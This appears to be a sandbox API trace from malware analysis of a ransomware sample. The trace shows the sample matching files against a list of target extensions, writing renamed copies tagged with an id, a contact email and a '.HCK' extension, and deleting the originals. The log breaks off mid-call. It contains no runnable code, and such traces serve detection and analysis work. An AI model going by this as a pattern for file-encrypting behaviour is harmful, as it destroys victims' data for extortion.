1 [0232.494] lstrlenW (lpString=".rar") returned 4 [0232.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.494] lstrlenW (lpString=".bz2") returned 4 [0232.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.494] lstrlenW (lpString=".7z") returned 3 [0232.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.494] lstrlenW (lpString=".dbf") returned 4 [0232.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.494] lstrlenW (lpString=".1cd") returned 4 [0232.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.494] lstrlenW (lpString=".jpg") returned 4 [0232.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.495] lstrlenW (lpString=".doc") returned 4 [0232.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.495] lstrlenW (lpString=".docx") returned 5 [0232.495] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0232.495] lstrlenW (lpString=".pdf") returned 4 [0232.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.495] lstrlenW (lpString=".xls") returned 4 [0232.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.495] lstrlenW (lpString=".xlsx") returned 5 [0232.495] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0232.495] lstrlenW (lpString=".ppt") returned 4 [0232.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.495] lstrlenW (lpString=".zip") returned 4 [0232.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.495] lstrlenW (lpString=".rar") returned 4 [0232.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.495] lstrlenW (lpString=".bz2") returned 4 [0232.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.495] lstrlenW (lpString=".7z") returned 3 [0232.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.495] lstrlenW (lpString=".dbf") returned 4 [0232.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.495] lstrlenW (lpString=".1cd") returned 4 [0232.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0232.495] lstrlenW (lpString=".jpg") returned 4 [0232.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.495] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.495] lstrlenW (lpString="J0105974.WMF") returned 12 [0232.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.496] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4612) returned 1 [0232.496] CloseHandle (hObject=0x4d4) returned 1 [0232.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220 [0232.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.497] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.497] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0232.497] GetLastError () returned 0x0 [0232.497] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1204, lpOverlapped=0x0) returned 1 [0232.499] WriteFile (in: hFile=0x4c8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1210, lpOverlapped=0x0) returned 1 [0232.499] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.499] WriteFile (in: hFile=0x4c8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.499] SetEndOfFile (hFile=0x4c8) returned 1 [0232.500] CloseHandle (hObject=0x4c8) returned 1 [0232.500] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.500] SetEndOfFile (hFile=0x4d4) returned 1 [0232.502] CloseHandle (hObject=0x4d4) returned 1 [0232.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0232.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.503] lstrlenW (lpString=".doc") returned 4 [0232.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.503] lstrlenW (lpString=".docx") returned 5 [0232.503] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0232.503] lstrlenW (lpString=".pdf") returned 4 [0232.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.503] lstrlenW (lpString=".xls") returned 4 [0232.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.503] lstrlenW (lpString=".xlsx") returned 5 [0232.503] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0232.503] lstrlenW (lpString=".ppt") returned 4 [0232.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.503] lstrlenW (lpString=".zip") returned 4 [0232.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.503] lstrlenW (lpString=".rar") returned 4 [0232.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.503] lstrlenW (lpString=".bz2") returned 4 [0232.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.503] lstrlenW (lpString=".7z") returned 3 [0232.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.503] lstrlenW (lpString=".dbf") returned 4 [0232.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.503] lstrlenW (lpString=".1cd") returned 4 [0232.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.503] lstrlenW (lpString=".jpg") returned 4 [0232.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.504] lstrlenW (lpString=".doc") returned 4 [0232.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.504] lstrlenW (lpString=".docx") returned 5 [0232.504] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0232.504] lstrlenW (lpString=".pdf") returned 4 [0232.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.504] lstrlenW (lpString=".xls") returned 4 [0232.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.504] lstrlenW (lpString=".xlsx") returned 5 [0232.504] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0232.504] lstrlenW (lpString=".ppt") returned 4 [0232.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.504] lstrlenW (lpString=".zip") returned 4 [0232.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.504] lstrlenW (lpString=".rar") returned 4 [0232.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.504] lstrlenW (lpString=".bz2") returned 4 [0232.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.504] lstrlenW (lpString=".7z") returned 3 [0232.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.504] lstrlenW (lpString=".dbf") returned 4 [0232.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.504] lstrlenW (lpString=".1cd") returned 4 [0232.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0232.504] lstrlenW (lpString=".jpg") returned 4 [0232.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.504] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.504] lstrlenW (lpString="J0106020.WMF") returned 12 [0232.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.505] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=10060) returned 1 [0232.505] CloseHandle (hObject=0x4d4) returned 1 [0232.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220 [0232.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.505] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.505] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0232.506] GetLastError () returned 0x0 [0232.506] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x274c, lpOverlapped=0x0) returned 1 [0232.696] WriteFile (in: hFile=0x4c8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2750, lpOverlapped=0x0) returned 1 [0232.697] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.697] WriteFile (in: hFile=0x4c8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.697] SetEndOfFile (hFile=0x4c8) returned 1 [0232.698] CloseHandle (hObject=0x4c8) returned 1 [0232.698] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.698] SetEndOfFile (hFile=0x4d4) returned 1 [0232.700] CloseHandle (hObject=0x4d4) returned 1 [0232.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0233.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.207] lstrlenW (lpString=".doc") returned 4 [0233.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.207] lstrlenW (lpString=".docx") returned 5 [0233.207] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.207] lstrlenW (lpString=".pdf") returned 4 [0233.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.207] lstrlenW (lpString=".xls") returned 4 [0233.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.207] lstrlenW (lpString=".xlsx") returned 5 [0233.207] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.207] lstrlenW (lpString=".ppt") returned 4 [0233.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.207] lstrlenW (lpString=".zip") returned 4 [0233.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.207] lstrlenW (lpString=".rar") returned 4 [0233.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.207] lstrlenW (lpString=".bz2") returned 4 [0233.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.207] lstrlenW (lpString=".7z") returned 3 [0233.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.207] lstrlenW (lpString=".dbf") returned 4 [0233.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.207] lstrlenW (lpString=".1cd") returned 4 [0233.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.207] lstrlenW (lpString=".jpg") returned 4 [0233.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.207] lstrlenW (lpString=".doc") returned 4 [0233.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.207] lstrlenW (lpString=".docx") returned 5 [0233.207] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.207] lstrlenW (lpString=".pdf") returned 4 [0233.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.207] lstrlenW (lpString=".xls") returned 4 [0233.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.207] lstrlenW (lpString=".xlsx") returned 5 [0233.208] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.208] lstrlenW (lpString=".ppt") returned 4 [0233.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.208] lstrlenW (lpString=".zip") returned 4 [0233.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.208] lstrlenW (lpString=".rar") returned 4 [0233.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.208] lstrlenW (lpString=".bz2") returned 4 [0233.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.208] lstrlenW (lpString=".7z") returned 3 [0233.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.208] lstrlenW (lpString=".dbf") returned 4 [0233.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.208] lstrlenW (lpString=".1cd") returned 4 [0233.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0233.208] lstrlenW (lpString=".jpg") returned 4 [0233.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.208] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.208] lstrlenW (lpString="J0107132.WMF") returned 12 [0233.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.210] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=48380) returned 1 [0233.210] CloseHandle (hObject=0x454) returned 1 [0233.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220 [0233.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.211] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.211] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0233.212] GetLastError () returned 0x0 [0233.212] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xbcfc, lpOverlapped=0x0) returned 1 [0233.214] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xbd00, lpOverlapped=0x0) returned 1 [0233.215] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.215] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.215] SetEndOfFile (hFile=0x4ac) returned 1 [0233.215] CloseHandle (hObject=0x4ac) returned 1 [0233.215] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.215] SetEndOfFile (hFile=0x454) returned 1 [0233.217] CloseHandle (hObject=0x454) returned 1 [0233.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0233.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.219] lstrlenW (lpString=".doc") returned 4 [0233.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString=".docx") returned 5 [0233.219] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.219] lstrlenW (lpString=".pdf") returned 4 [0233.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString=".xls") returned 4 [0233.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.219] lstrlenW (lpString=".xlsx") returned 5 [0233.219] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.219] lstrlenW (lpString=".ppt") returned 4 [0233.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.219] lstrlenW (lpString=".zip") returned 4 [0233.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.219] lstrlenW (lpString=".rar") returned 4 [0233.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString=".bz2") returned 4 [0233.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString=".7z") returned 3 [0233.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.219] lstrlenW (lpString=".dbf") returned 4 [0233.219] lstrcmpiW (lpString1=".dbf", 